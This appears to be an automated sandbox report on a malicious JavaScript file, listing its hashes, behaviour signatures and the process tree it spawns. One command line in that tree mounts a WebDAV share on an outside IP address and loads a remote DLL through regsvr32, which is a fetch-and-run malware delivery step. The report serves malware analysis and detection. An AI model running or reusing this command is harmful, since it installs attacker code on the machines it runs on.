Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/07/2024, 18:36

General

  • Target

    420719161228130084.js

  • Size

    5KB

  • MD5

    3e09515cfcb720ce69f5c3e3a3ab5ac4

  • SHA1

    bb9beaaa0b4a0e35018bffd988305ac967793003

  • SHA256

    abd35987579334e2a4782727b3ae63e7523d02c9e4d630e3dbf994623660e1c2

  • SHA512

    24ae89b61210832ca16833a6e771c1fc1e1d633581f182522e7a6d017a1b177ce3703e98967449eaf196112c7fe16157210d2636253263c531ba196c82fc8c9f

  • SSDEEP

    96:ERW8M5XBN03CWLkbujHITTTb00AkNneQITTTb00nU:ERBkNf4ecsVAkZsVU

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\420719161228130084.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3776
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\16393104586664.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4860
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:3232

    Network

          MITRE ATT&CK Enterprise v15

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          Downloads